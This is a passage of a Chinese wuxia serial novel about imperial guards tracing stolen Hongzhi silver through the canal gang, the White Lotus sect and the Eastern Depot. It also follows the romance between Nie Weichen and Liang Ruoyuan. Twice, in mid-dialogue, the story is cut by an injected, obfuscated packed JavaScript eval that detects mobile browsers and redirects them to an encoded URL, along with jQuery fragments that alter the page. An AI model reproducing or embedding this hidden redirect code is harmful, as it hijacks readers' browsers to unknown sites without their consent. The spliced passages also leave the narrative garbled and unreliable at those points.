蓝羽未答,将铜钱翻过来,指着背面一处极小的凹槽:“这里面本该嵌着一颗赤珠,现在不见了。” 燕十想起周显虎口上的赤莲刺青:“白莲教和漕帮……联手了?” “不,是有人逼他们联手。”蓝羽收拢掌心,铜钱的边缘硌得他掌心刺痛,“曹玉故意留下这半枚铜钱,是因为他知道……我们一定会去找另外半枚的主人。” “而那个人,才是真正知道官银下落的人。” 漕船帆影已消尽在河雾中,码头上,几名伪装成苦力的探子正悄然尾随他们。 蓝羽余光扫了一眼,低声道:“走,去会会这位‘蛇莲令主’。” 燕十按刀跟上,唇角勾起一丝笑意,玩味道:“看来曹公公的外甥,比我们想的还要有趣。” 21. 三更已过 暮色四合,通州漕运码头喧嚣渐息,蓝羽和燕十隐入巷弄阴影中,身后追兵脚步声杂乱逼近。 “分头走。”蓝羽低声道,将半枚铜钱塞进燕十手中,“茶坊见。” 燕十点头,闪身消失在拐角处,蓝羽故意踢翻一只竹筐,将追兵引向另一个方向。 他贴着墙根疾走,耳中捕捉追兵动静,转过三条巷子,他忽然停步,从怀里取出一小包药粉扬在半空中。 淡黄色的粉末稀薄飘散,追在最前的锦衣卫霎时捂着喉咙跪倒在地。 “有毒!”后面跟来的人连连后退。 蓝羽翻过一道矮墙,落入一户人家的后院,院内晾晒着各色衣物,他扯下一件褐色短打换上,又取下斗笠遮了面容。 他从后门溜出,乍一看与街上匆匆行走的苦力运工无异。 燕十蹲在一处屋顶,冷眼看着下方叛变的锦衣卫在各处搜查。 他似玩乐般嘿嘿一笑,从腰间摸出几枚铜钱,指尖轻弹。 铜钱破空而出,击中远处几个灯笼,黑暗笼在那片街角,追兵一片混乱。 “在上面!”有人大喊。 燕十悄声在屋顶间跳跃,早已不在方才那处,很快甩开了追兵。 一个时辰后,两人在城南一间木楼歪斜的茶坊后厨碰头。 “查清楚了。”燕十换了一身靛蓝长衫,扮作账房先生的模样,“那艘官船是宁王府的,但挂的是漕运司的旗。” 蓝羽一身苦力行头,坐下抿了口茶:“铜钱呢?” 燕十将半枚铜钱放在桌上:“我顺道打听了一下,金鱼巷有个铁匠,专做这种暗记。” “走。”蓝羽起身,“天亮前得找到那人。” 金鱼巷临近河道,狭窄潮湿,两侧砖房低矮,铁匠铺在巷子尽头,炉火早已熄灭,门上挂着“歇业”的木牌。 燕十轻轻叩门,三长两短,片刻后,门开了一条缝,一只浑浊的眼睛打量着他们。 “打一把刀,蛇缠莲花纹。”蓝羽低声道。 门缝后的眼睛眨了眨:“没有这种纹。” “那就打半朵莲。”燕十将铜钱从门缝递进去。 残旧的木门霎时大开,一个佝偻老者将他们拽进屋里,迅速关上了门。 屋内光线昏暗,只有一盏油灯,老者仔细检查了铜钱,递还后忽然跪下:“两位大人是来查漕帮的事?” 燕十扶起老者:“老丈请起,我们只为寻这铜钱的主人。” 老者摇头叹息:“这是‘蛇莲令’,只有帮主亲信才有。自从陈帮主遇害后,令牌就……”他猛地噤声,望向窗外,满面惊恐。 蓝羽悄声挨到窗边,窗外后街空无一人,只有风卷茂叶的声响 “继续说。”燕十压低声音。 “三年前,陈帮主在南昌遇害,他女儿陈白瓷带着半块令牌逃了出来。”老者声音颤抖,“后来听说她嫁给了南昌卫的一个千户,再后来……”他做了个抹脖子的动作。 蓝羽眼神一凛:“陈白瓷死了?” “不清楚。”老者摇头,“但去年开始,漕帮里有人用这令牌发号施令,说是陈小姐的遗命。” 燕十急急追问:“谁在用?” “陈青,陈帮主的远房侄子,现在是帮里香主。”老者抓住燕十的手,“大人,老汉多嘴,这事牵扯太大,连东厂都……” 一支弩箭穿透窗纸,正中老者颈后,蓝羽将燕十拉倒,第二支箭擦过燕十的发髻钉在墙上。 “走!”蓝羽踹开后门,两人冲入小巷。 巷子两端出现了黑衣人影,手里是东厂制式的臂弩,燕十冷笑一声,从袖中甩出几枚蒺藜,追兵踩了暗器,惨叫着跌倒。 两人翻墙越瓦,穿过小路街角,在一个拐弯处,蓝羽将燕十拉住,指了指地面。 新鲜的脚印通向一间废弃的染坊,坊内飘出刺鼻的霉味,他示意燕十警戒,自己悄无声息地探入。 在一堆破布下,他发现了一个暗门,推开后,是通往地下的石阶。 地下室内点着油灯,墙壁一侧还有一处通道,一个三十出头的汉子精瘦高挑,正在包扎臂上伤口,见两人闯入,猛地拔刀。 “你是陈青?”蓝羽将半枚铜钱抛给了他。 汉子接住铜钱,脸色大变:“你们……怎么得到这个的?” “铁匠铺的老汉死了。”燕十冷声道,“东厂的人干的。” 陈青颓然坐下:“老周头……是我害了他。”他颤抖着,从衣襟里取出另外半枚铜钱,两半严丝合缝地对在一起,蛇缠莲的图案完整呈现。 “陈白瓷在哪?”蓝羽问道。 “死了。”陈青眼中含泪,“三年前,宁王府的人害死了她。这令牌是她留给我的,要我……要我查清她父亲的死因。” 燕十皱眉:“宁王为何要杀漕帮帮主?” “因为官银。”陈青咬牙道,“帮主发现宁王买通了帮中内鬼和白莲教用漕船偷运官银,他准备上告朝廷,结果……” 蓝羽追问:“现在官银在哪?” 陈青刚要开口,忽然瞪大了眼睛,口中鲜血喷涌,用尽力气从衣襟里取出一张羊皮图纸,伸手递向燕十。 脚步声传来,燕十迅速接下图纸,蓝羽拾起拼合的铜钱,扑灭了油灯,黑暗中,石阶出口传来铁箭钉入木柱的声音。 “走。”燕十低声道,拉着蓝羽往地下暗道跑去。 暗道出口是城外一处官仓,月轮当空,燕十检查了陈青临死前给他的东西,是一张绘制精细的通州城防图,背面写着“白瓷冢”三字。 “看来大人猜的没错,我们来对地方了。”蓝羽望着远处官道上疾驰的马队,认出了东厂的缇骑。 燕十将图纸收入怀中,笑道:“正好会会那位曹玉小宝贝。” 两人身影融入夜色,看见官道上一队东厂番子正押送十几名衣衫褴褛的百姓走向官仓。 “快点!误了工期,全给你们扔进炉子里!”为首的番子挥鞭抽打一名老者,老者踉跄跌倒,怀中掉出半块发霉的糠饼。 一个小女孩灰头土脸,头发脏得结成了块,扑上去将糠饼捡进嘴里,临近的番子将她一脚踹开:“贱民也配吃粮?” 蓝羽双拳紧握,燕十右手已按在刀上。 “别冲动。”蓝羽拉住他左臂,低喝道,“跟过去看看。” 他们尾随着,藏身芦草中,发现那官仓根本不是储粮之地,而是一座巨大的铸银工坊。 约莫数百名百姓,皮肤黝黑,骨瘦如柴,脚踝锁着铁链,在监工的鞭打下不断熔炼银锭。 火炉旁,几个东厂番子正将新铸的银锭打上伪造的火漆印。 “原来如此……”燕十冷声道,“宁王和东厂不仅贪了官银,还逼百姓替他们洗银。” “趁还没人发现,再四处看看。” 两人相视点头,蓝羽快速摸向官仓沿河一侧,贴着仓库外墙一点点移动。 夜风府过河畔芦苇,沙沙声响恰好掩了他的脚步声。 “东南角两个岗哨,每半刻钟交叉巡视一次。”燕十的声音从后方芦苇中随风飘来,低若耳语,“正门四个番子,有火铳。” 蓝羽微微颔首,目光锁在三十步外那蜷缩在煤堆旁的小女孩身上。 一个老妇人正用破布蘸着泥水,擦拭女孩腿上的伤口,她们脚踝拴着铁链,铁链另一头连在一根深深钉入地面的桩子上。 “我去引开守卫。”燕十声音带着游戏般的笑意,“给你半柱香时间。” 不一会儿,官仓西侧有瓦罐碎裂,紧接着,是燕十夸张的惨叫:“有贼啊!偷银子的贼往河边跑了!” 东南角岗哨即刻转向声源处,蓝羽趁此间隙,闪到煤堆后方,老妇人刚要惊叫,蓝羽已捂住了她的嘴。 “别出声。”他轻声道,手中钢刀划出一道银弧,两根铁链应声断开。 小女孩瞪大了眼睛,嘴里还含着那半块发霉的糠饼。 蓝羽单膝跪地,从怀里取了一根钢线,挑开她脚踝上的镣铐。 “抱着我的脖子。”他将女孩抱起,低声说道,又将老妇人瘦弱的身子用力搀起。 小女孩冰凉的小手环住他的脖颈,像只受惊的小兽贴在他身上。 正门处传来喝问:“那边怎么回事?” 蓝羽一惊,三个番子正朝煤堆走来,火把的光亮将地上的影子拖长。 他取出暗袋里三粒蜡封的药丸,“低头。”他轻喝一声,猛地将药丸掷向地面。 浓白的烟雾瞬间腾起,带着刺鼻的硫磺味弥漫飘散。 “有埋伏!” “像是白莲教的障眼法!” 番子们乱作一团,有人朝烟雾中放铳,铅弹擦过蓝羽耳畔,在砖墙上溅起一串火星。 蓝羽借机腾空,足尖点在车间木棚顶上,怀中女孩的因惊吓而发抖,老妇人死死抓着他肩头的衣料,枯瘦的手指几乎要掐进他的肉里。 一支弩箭飞来,蓝羽在半空拧身,箭矢擦过他的脸颊,留下一道血痕。 下方传来燕十的哨声,三长一短,蓝羽会意,落入一片芦苇荡中。 燕十早已备好小船,正懒洋洋地划着桨:“慢了些。” 他咧嘴一笑,露出虎牙,“我还以为你要在里面过年呢。” 蓝羽将一老一小安顿在船板上,这才发现自己的衣袖撕开了一道口子。 小女孩紧攥着一粒带血的银屑,浑身颤抖,指节发白。 “给我看看。”他蹲下伸手,女孩惊恐后退。 老妇人颤巍巍地掰开女孩的手指:“二位恩人是要帮咱们……” 银屑泛着诡异的青灰色,半个“赵”字刻痕边缘残留着暗红色。 蓝羽用指甲轻刮,放在鼻端一嗅,除了血腥味,还有若有若无的硝石味。 “会不会是江西赵家。”燕十凑过来,笑容在他脸上消散,“专给兵部造火器的那个皇商?” 蓝羽蹙眉思量,未有定论,将银屑收入暗袋,转头看向渐远的工坊,发现又火燃起,他疑惑皱眉:“不对啊……我放火了?……没有吧?” 燕十举目望去,连连拍他一侧肩膀:“你怕是又踢到灯了……” 火光中,番子们像无头苍蝇般乱窜,有人正指着河面大叫。 小女孩拽了拽他的衣角,说话声细如蚊蚋:“那个……那个铁屋子……他们把生病的人都关在那里……” 她脏兮兮的手指指向工坊西北角隐约可见的铁皮屋。 燕十与蓝羽对视一眼,“牵机毒。” 蓝羽脸色一沉:“他们竟用活人试药。” 小船悄然隐入河湾柳荫下,官仓敲响警钟,混着番子们气急败坏的咒骂声。 码头传来更夫的梆子声,小女孩缓缓抬头,眼中闪过一丝光亮,怯怯道:“对了……这位大人,我爹说……三更的梆子响过,运河边的仓库就会来人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895344|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 燕十正皱眉听响,恍然大悟:“我说呢,那梆子声不一样,慢了半拍,像接头暗号,又许是是私兵换岗的信号。” 工坊方向火光冲天,混乱中,隐约可见几个骑马的影子正在调度人手,蓝羽站起身来:“那就让宁王的耳目变成聋子。” 他拍了拍身上粗布短打:“你带他们从西侧水道走。”他蹲身捞起河水洗了洗手,一瞬凉意叫人清醒,“我去会会那位打更的‘老朋友’。” 燕十按住他的肩:“梆子声一乱,宁王府的小狗必会倾巢而出。” “要的就是他们倾巢而出。”蓝羽从怀中掏出那枚铜钱,在火光下翻转,递给燕十,“既然要烧,就干脆烧个干净。” 有马蹄声靠近,更夫的梆子乱了节奏,燕十咧嘴一笑,绣春刀在手中转出一圈光弧:“那就让他们听听,什么叫丧钟。” 他们将船停在树影中,两道身影倏然分开,蓝羽形似鬼魅,掠过树梢,落在码头河岸边,刀尖挑飞了更夫的梆子,看着他腰间一盏引魂灯坠地燃烧。 “三更已过。”蓝羽刀刃架起,抵在更夫喉前,“该换我的人值夜了。” 燕十将百姓从铁皮房里解救出来,领着他们冲向河岸码头,反手掷出三枚流星镖,切断了运河上的拦江绳索。 满载银箱的船顺流而下,船头忽然立起一面玄色旗帜,竟是宁王追杀多年的漕帮残部。 官仓火势愈演愈烈,将夜空烧得通红,蓝羽站在城楼屋顶,四面八方涌来宁王暗藏的私兵,在混乱的梆子声中,他们一个个没了方向。 身后传来石击的暗号,燕十站在运河对岸一株大柳树下,摆手示意他去看。 河面上,最后一艘船正驶向黑暗深处,小女孩站在船尾,她紧紧抱着半块炊饼,火光映照下,隐约可见她正笑着向他挥手。 …… 聂未晨眼皮微动,老者立即按住了他:“大人先别动,药性未过。” 他猛地睁眼,瞬间拧了老者手腕,满目凶光。 石室入口透下来的光似是天刚亮起的雾蓝色,壁炉里只剩零星炭火,他看着老者龇牙咧嘴的表情,一点点松手,发觉腕上似有东西,低头看见梁若鸢带在身上的那半枚鱼佩此时正缠在自己手腕上,眼神霎时锐利起来:“她走了多久?” “一日又三个时辰。“老者缓慢却坚定,从案几上端来温好的汤药,“梁姑娘走之前留了话……” “让开。”聂未晨掀开盖毯,腰间伤口传来撕裂的痛,他抓起案上沾血的绷带,将伤口草草缠紧,拾起刀时,发现刀鞘里多了张漕帮的航道图。 老者横跨一步,挡在他面前:“这是程老板吩咐交给大人的,还有,梁姑娘说,您若追去……” “她就打断我的腿?”聂未晨将话截住,冷冷一笑,刀光闪过,老者鬓边白发落下几缕,“你觉得谁更可能打断谁的腿?” 鸟鸣刺破了清晨的寂静,聂未晨跨上石阶,推开茅屋窗扇,一只蓝喙信鸽正好落在窗台上,他解下鸽腿上的铜管,倒出两粒蜡丸。 指尖捏碎第一粒,出现一张纸条,是燕十的笔迹:“漕司名存实亡,木场有火器残屑,有人灭口,私兵洗银。”,第二粒蜡丸里裹着一片银渣,隐约可见“赵”字的下半截。 老者见他看着手里的东西神色变幻,端着药碗走近,轻声道:“蓝羽和燕十二位大人已安全去了通州……但那通州的书吏……” “死了?”聂未晨碾碎手中蜡丸。 “老朽不知。”老者看了一眼他手中纸条,腾出一只手来,递上一套早已准备好的干净便服,“但程老板查到那书吏有个相好的歌姬,如今带着个七岁孩子住在码头鱼市。” 聂未晨打量他片刻,将身上夜行服换下,穿了便服提刀往外走。 老者奋力赶了几步,再次挡了他去路,从袖中抽出一封信来:“程老板吩咐,若您执意要走,就先看这个。” 他将信纸展开,只有八个字:“弘治官银,白莲为饵。” 当年科举案失踪的官银,最后出现是在白莲教手中?他将信纸揉成一团,闻到极淡的桂花香气。 “她到底想干什么……”聂未晨接过药碗将药灌进嘴里,甩手将碗砸在墙上,瓷碗砸出极大的声响,碎了一地。 他握刀的手青筋暴起,大步回到地下石室中,坐回榻上,深重地呼吸,以平息自己的焦虑:“……拿药来。” 他撕开腰间染血的绷带,老者将案上药瓶递给他,诧异看着。 “不是要拦我吗?”聂未晨倒出药糊,按在伤口上,自己疼得直冒冷汗,“那就帮我尽快养好这伤。” 他解下那半枚鱼佩,放在掌心里细看,与另外半枚的接口内侧刻着微小的“若鸢”二字。 他将红绳系在自己脖子上,看见老者手中抓着他方才揉皱的信纸,忽似想到什么,伸手夺来,展平后对着火光再看,背面墨迹隐约透出,是半幅通州码头的布防图。 “好你个程墨亭……”他不屑一笑,看见布防图右下角画着朵莲花。 他将信纸放下,指尖摩挲着胸前半枚鱼佩,眼中火光晃动。 地面茅屋传来更漏的声响,他起身扯下墙上舆图,摊在桌面上,染血的手指点在通州与京畿交界处的驿站处。 “巳时叫我。”他吹灭沙盘边上的蜡烛,石室里的光亮又暗了些,他在软塌上闭眼躺下,“让你们的人去查查户部赵侍郎弘治年间在通州的履历。” 22. 不识好歹 鱼市腥气混着晨雾在低矮的棚户区间飘荡弥漫,浓稠又黏腻。 聂未晨用粗布巾掩了口鼻,目光扫过一排排鱼摊,粗布短打衣襟半散,胸前半枚鱼佩传来一丝丝寒意。 “柳三娘在哪儿?”他拦住一个挑着鱼篓的老汉,“听说她住在鱼市后巷。” 老汉眼珠浑浊,转了转,似才想起什么:“三娘啊,好几日没出摊了。”他指向一条窄巷,“最里头那家,门口有株歪脖子柳的便是。” 聂未晨摸出几个铜钱丢进鱼篓,转身时听见老汉低声嘀咕:“作孽哟,孩子那么小……” 巷子潮湿阴寒,尽头一处小院门扉虚掩,聂未晨推门的瞬间,血腥气迎面而来。 他用刀尖挑开内屋布帘,看见针线筐打翻在地上,炕桌已裂成了两半,墙角有一滩早已干涸的暗红色。 “来晚了。”他蹲下身,指尖擦过地板缝隙里一点银屑,同样的青灰色,同样的“赵”字残迹。 屋外瓦片擦响,聂未晨刀光手中刀光一闪,窗棂劈开,一个瘦小身影慌忙后退,险些滑落到水井里。 “别杀我!”十岁出头的男孩,脸上脏得看不出模样,“我……我是给三娘送药的人!” 聂未晨收刀入鞘:“她人呢?” “五天前夜里,来了几个穿黑衣服的。”男孩声音发抖,“他们把三娘和小宝绑走了……”他忽然压低声音,“但三娘留了东西。” 男孩从怀里掏出一块绣鲤鱼的帕子:“她藏在灶台下面,说要交给来找她的人。” 帕子里包着半片瓷片,内侧隐约可见半个赤莲图案。 “他们还说了什么?” 男孩摇头,指向聂未晨身后:“那个姐姐也问过一样的话……” 聂未晨猛地回头,巷口空无一人,只有一片柳叶缓缓飘落。 通州城南,木樨巷。 梁若鸢摘下斗笠,露出易容后蜡黄的脸,面前是一间不起眼的茶铺,招牌上“清茗轩”三个字已老旧褪色。 “姑娘要什么茶?”掌柜头也不抬地拨着算盘。 “雨前龙井三两,要去年秋露煎的。”她指尖在柜台上轻叩三下。 掌柜抬头,眯眼打量她:“秋露没了,有今年春雪煮的碧螺春。” 程墨亭透露的暗号对上,掌柜退身掀开内室布帘,梁若鸢闪身进入,迎面撞上一刃刀光。 “慢。”蓝羽按住燕十持刀的手,“自己人。” 梁若鸢撕下脸上伪装,露出原本清丽的面容:“聂未晨跟来了?” “大人不仅跟来了,还追着你到了鱼市。”燕十收刀入鞘,笑得促狭,“你们御前司的人,都这么爱玩捉迷藏?” 内室还有一人,身着靛蓝长衫的男子转过身来,折扇轻摇,程墨亭俨然一位翩翩公子的模样,朝着她温雅一笑。 “程老板好雅兴。“梁若鸢白了一眼,”扬州七十二家茶坊不够你玩,跑来通州扮戏子?在路上把我甩开,就为换身行头?” 程墨亭合扇轻笑:“不及梁姑娘,连聂大人的腿都敢打断呢。”他扇尖指向桌上地图,清了清嗓子,“说正事,柳三娘的孩子见过白莲教的人。” 蓝羽在地图上标出几个红点:“东厂在运河设了七处关卡,但官银走的定不是水路。” “是陆路。”燕十单手抛接着几枚铜钱,将火漆印残渣、火铳打磨屑、十字星纹淬痕的银屑,刻有“赵”字边角的银屑一样样摆在桌上,“若你们御前司查得没错,赵世安利用了职权,他们把官银熔铸之后,通过兵部军械渠道陆运,融成的火器部件,在通州码头装在了官船里,挂着漕帮的旗子往南昌走了。”他将那枚刻着蛇莲令的铜钱拍在桌上,“陈白瓷没死。” 梁若鸢猛地站起:“不可能……她若没死,为何不出来?” 程墨亭展开一幅画像,画中女子眉目如画,额间一点朱砂,“南昌卫所曾通缉过她,两个月前,有人在通州黑市见过她。” “官仓里找到的银子残屑里有弘治年的火漆印残留。”蓝羽沉声道。 燕十将几枚铜钱一并抛起:“曹玉小宝贝好像在告诉我们什么事情,我这几日问到了陈青隔三差五就去上坟的地方。”他目光落在梁若鸢阴沉的脸上,笑了笑。 梁若鸢捏紧了手中短刀:“子时行动。”她将画像夺下,收入怀中,“聂未晨那边……” “不必管他。”程墨亭目光扫过蓝羽和燕十,笑意凉薄,“锦衣卫要办事,凭谁也拦不住,随他去吧,梁姑娘可要专心报仇才是。” 更夫的梆子声传来,三长两短,正是私兵和东厂番子的信号。 …… 子夜冷寂,荒废的义庄只有星月和虫鸣。 “这就是‘白瓷冢’?”牌位腐朽残破,燕十一脚踢开,“连个坟包都没有。” 梁若鸢摇了火折子,光亮中可见不远处是个祠堂,四人前行踏入,看见正中供桌上摆着个白瓷骨灰坛,坛身缠着褪色的红绸。 程墨亭看了看脚下,俯身以扇骨轻敲地面:“下面是空的。” 蓝羽掀开供桌下一块松动的青砖,一个黑洞洞地窖入口赫然出现,腐臭气翻涌而出,混着一丝硝石味扑在脸上。 “我先下。”梁若鸢将火折咬在齿间,拔出短刀握在手里,石阶潮湿滑腻,墙上满是蛛网和霉斑,下到尽头,是一间四方的石室,中央停着一具剔犀棺材。 燕十与蓝羽合力推开棺盖,里面整齐码着几十锭雪花银,每锭底部都打着十字星纹。 “弘治官银……” 梁若鸢伸手去取,却听程墨亭忽然厉喝:“别动!” 棺材底部响起机括转动的声音,整个石室剧烈震动,无数钢针从墙缝里射出,蓝羽挥刀格挡,燕十拽着梁若鸢扑向石阶后面。 “程墨亭!”梁若鸢回头,看见一支弩箭贯穿了程墨亭的肩膀。 火药引线在棺材里嘶嘶燃烧,燕十拽着梁若鸢退向出口,程墨亭咬牙拔出弩箭,狠狠摔在地上,鲜血顺着他靛蓝的长衫染落。 “把佛郎机炮图纸交出来!”柳无霜嗓音柔媚狠绝,东厂番子手持火铳,带着一众漕帮叛徒将出口堵死。 白莲教徒从另一侧地道涌入,为首之人手持赤莲旗,冷笑道:“梁小姐,你爹当年多管闲事,所以才死得不明不白,你今日若识相,把图纸交出来,念在你一片孝心,我们留你全尸。” 梁若鸢气笑:“你们白莲教不是自诩替天行道?怎么,现在和东厂穿一条裤子了?” 柳无霜尖声笑道:“就刚刚……聂未晨都死了,你们插翅也难逃。” 聂未晨死了?梁若鸢指尖一颤,面上不显,冷声道:“就凭你们?” “姑娘是不信?”冯玉从人群后面走出来,挥了挥手,两名番子拖着一具尸体丢在地上,那人穿着聂未晨的飞鱼服,浑身湿透,指胸口一刀致命伤已在水里泡得发白,面容模糊,但腰间佩刀确实是他的绣春刀。 梁若鸢呼吸一滞,“……不可能。” 她明明……明明在安庆府给他下的只是迷药……不对……他不是追来了吗?怎么会?北漠沙场他都没死……就凭这些臭虫? 燕十和蓝羽对视一眼,显然不信,可眼下危急,程墨亭伤重,他们被团团围住,火药随时会引爆…… 棺材里的火药轰然炸开,气浪掀翻众人,梁若鸢撞在墙上,耳中嗡鸣,眼前发黑。 冯玉尖笑:“搜!全都抓起来!” 东厂番子持刀逼近,白莲教徒高举火把,火光下,梁若鸢握紧了短刀,眼中怒火盖过了晕沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳无霜脸色大变,转身欲逃,聂未晨猛地掷出手中钢刀,绣春刀鸣响清越,直穿柳无霜后背,将她径直钉在残断的土墙上。 冯玉不知所踪,白莲教和东厂、漕帮帮众逃的逃,死的死,半残的逐渐不敢再动,安庆卫所的锦衣卫默契配合,在各处开始清理残敌。 梁若鸢一把拽住聂未晨的衣襟:“你疯了吗?!毒镖也敢硬接?!” 聂未晨撇开脸冷笑:“你不是巴不得我死?” “我若想让你死,在安庆府就能一刀捅了你!” “那你跑什么?!”他逼近一步,染血的手指捏住她下巴,咬牙切齿,“跟着程墨亭,很痛快?” 梁若鸢怒极反笑:“聂大人,你这是在质问我?” “是。”他嗓音低沉,带着压抑的怒意,“你明知他行迹可疑,却仍跟他走,若今日我没追来,你……” “我没那么弱。”她冷声打断。 聂未晨盯着她,忽然不屑一笑,低头吻住了她。 血味在唇齿间蔓延,梁若鸢瞪大了眼睛,余光里,蓝羽和燕十正看过来,她抬手就要扇他。 聂未晨一把扣住她的手,猛地将她抵在墙上。 “你……”她咬牙躲开,手抬在他肩头,却没有推他。 “再跑,把你带回诏狱,打断你的腿。”他嗓音低哑,眼中浮起一丝不容置疑的恶毒。 梁若鸢气笑,挣开他,叉腰仰首:“你试试?” 聂未晨盯着她,忽然一笑:“好。”他将她抱住,俯身再次吻了下去。 23. 哪家千金 程墨亭斜倚断墙,肩头血色浸透靛蓝衣料,折扇轻摇间,残火映出一张玩世不恭的笑脸:“聂大人这毒镖挨得值当。”他故意拖长声调,“早知梁姑娘这般心疼,我该多引她跑几回。” 梁若鸢一把推开聂未晨,耳尖烧得通红,指着他走了过去:“程墨亭!你舌头不想要了?” 聂未晨冷眼扫去,拇指抵住刀镡,步步跟随:“程老板中气十足,看来伤得不重。” “岂敢岂敢。”程墨亭以扇掩唇,咳嗽几声,扇骨故意敲了敲肩上伤口,“比起聂大人这出‘英雄救美’的戏码,程某这点伤实在不值一提。”他忽地凑近梁若鸢,眼底闪着促狭的光,“只是梁姑娘方才那声‘聂未晨’,喊得比诏狱的烙铁还烫人……” “闭嘴!”梁若鸢夺过蓝羽手中绷带砸向他面门,“再废话,送你见阎王!” 程墨亭笑着接住绷带,牵动伤口时“嘶”了一声。 燕十抱臂嗤笑:“活该。” 聂未晨忽然逼近他:“程老板离教多年,对白莲教的机关倒还是如数家珍。” 折扇“啪”地合拢,程墨亭笑意不减:“聂大人这是要过河拆桥?”他扇尖轻点满地狼藉,“若非程某提醒,此刻诸位怕是已成碎肉。” 梁若鸢眯眼打量他:“那棺材里的火药机关,你如何知晓?” “这个嘛……”程墨亭扇骨轻敲掌心,忽然转向聂未晨,“不如问问聂大人,为何连绣春刀都舍得留给东厂做戏?” 话音未落,林中马蹄声骤起。 蓝羽刀已出鞘三寸:“安庆卫所的人?” 燕十抛接着铜钱冷笑:“是北镇抚司的步子……却带着东厂的腥气。” 程墨亭施施然起身,靛蓝衣袖拂过残垣:“看来好戏才开场。”他朝梁若鸢眨眨眼,“梁姑娘,下次‘私奔’还记得找我,定比聂大人体贴。” 聂未晨猛地扣住他手腕,力道狠得能捏碎骨头:“程老板,诏狱的龙井正候着你。” “聂大人客气。”程墨亭温雅笑着,压低嗓音,“不过……”他目光掠过聂未晨肩头,“梁姑娘的眼神,可比你的刀更利三分。” 梁若鸢正抱臂冷笑:“聂大人好大的官威,连伤员都要威逼?” 聂未晨咬牙松手,喉结滚动:“……回去再跟你算账。” 程墨亭揉着手腕后退,朝梁若鸢拱手时袖中滑落那枚拼合的白莲教秘宝铜钱:“梁姑娘的救命之恩……”他意味深长地看了一眼逼近的火把,“怕是要来世再报了。” 靛蓝衣袂翻飞间,人影已没入暗处,梁若鸢盯着他消失的方向,耳边虫鸣如潮。 聂未晨一把将她拽回身侧:“看够没有?” “管得着吗?”她甩开他的手,他反手扣住她五指,赌气般不愿松开。 燕十戳了戳蓝羽:“这俩比东厂的炮烙还折磨人哈。” 蓝羽面无表情,塞了耳朵:“早该习惯。” 马蹄声近,火把照亮沈祈阴鸷的脸,东厂黑蟒牌在锦衣卫腰间泛着寒光。 “聂大人。”沈祈假笑拱手,“曹督主请您喝茶。” 燕十啐了一口:“北镇抚司什么时候成了东厂的狗窝?” 蓝羽刀锋半出:“聂大人奉皇命查案,沈佥事是要抗旨?” “皇命?”沈祈展开黄绢,声如毒蛇吐信,“聂未晨勾结白莲教、私吞官银,杀人灭口……这可是陛下亲笔!” 梁若鸢笑出了声:“贼喊捉贼!官银分明是你们东厂……” “拿下!”沈祈暴喝。 聂未晨猛地将梁若鸢推向后方:“走!” 她踉跄两步,转身站定,他已劈开袭来的一柄绣春刀,血珠溅上了眉骨:“愣着等死吗?!” 暗处折扇寒光一闪,梁若鸢骤然拔刀,径直冲向沈祈:“姑奶奶先剁了你这狗爪!” 沈祈举刀格挡,却被她旋身一脚踹中面门,锦袍裂响间,刀锋已剐下他肩头一块皮肉。 “梁若鸢!”聂未晨怒极反笑,“你他妈……” 寒光自他背后袭来,蓝羽飞身将他撞开,肩头血花迸溅。 混乱中,程墨亭的折扇敲在梁若鸢后颈:“梁姑娘,这‘下次’来得真快。” 她软倒在他怀里,他将她揽腰抱起,踏着箭雨跃上一处断墙,朝聂未晨戏谑一笑:“聂大人,这救命之恩……” “程墨亭!”聂未晨刀尖滴血,目眦欲裂。 靛蓝身影消失在夜色中,程墨亭的笑声随风飘来:“沈佥事,东厂连自己人都灭口,你猜你能活到几更天?” 沈祈面色铁青:“放箭!” 聂未晨忽然高举一块龙纹金牌,声震四野:“北镇抚司所属,见令如见君!” 半数锦衣卫刀锋陡转,寒光尽数指向沈祈。 远处树梢上,程墨亭轻抚怀中昏睡的女子,夜风掀起她一缕散发,露出颈侧暗藏蜿蜒的青蚨血纹。 “聂未晨啊……”他扇尖掠过她眉心,“你养的小狐狸,可比你想象的更危险。” 梁若鸢无意识地呢喃:“混蛋……不准死……” 程墨亭低笑出声,眸中暗芒流转:“这下……可有趣了。” …… 夜色如墨,月落寒江,梁若鸢在摇橹声中惊醒,舱外水浪拍打船板的声响混着茶香飘来。 她猛地起身,后颈钝痛。 “醒了?”舱帘一挑,程墨亭端着青瓷茶盏踱进来,月白杭绸直缀上绣着暗纹竹叶,活脱脱一副茶商模样,“梁姑娘再睡下去,可要错过姑苏的杏花雨了。” 她翻身而起,短刀抵在他喉间:“程墨亭,你竟把我弄上船?” 他也不躲,扇骨轻轻推开她的刀刃:“别急,聂大人这会儿怕是已经押着陆仟那几个老狐狸回京了。”他俯身凑近,嗓音压低,“而我们……真正的戏码才刚开始。” 梁若鸢放下刀来:“什么意思?” 程墨亭笑着递上茶盏,碧绿的茶汤纹丝不晃:“通州到扬州走水路最稳当,毕竟……聂大人这会儿……该带着崔泓他们的供状过黄河了。” 囚车押送的路线该走陆路,这人却连锦衣卫的行程都了如指掌……她警惕看了看四周,不动不言。 程墨亭忽然俯身靠近,松竹气息混着茶香扑面而来:“梁姑娘就不想看一看,十四年前那批官银是怎么从苏州府库进了宁王府的兵器坊的?宁王府的兵器坊又在哪里呢?” …… 京畿驿站客商云集,官道上,聂未晨勒马停驻,身后囚车里,安庆知府陆仟、盐运使崔泓、通州知府汪文宏,锦衣卫佥事沈祈皆手脚上镣,面如死灰。 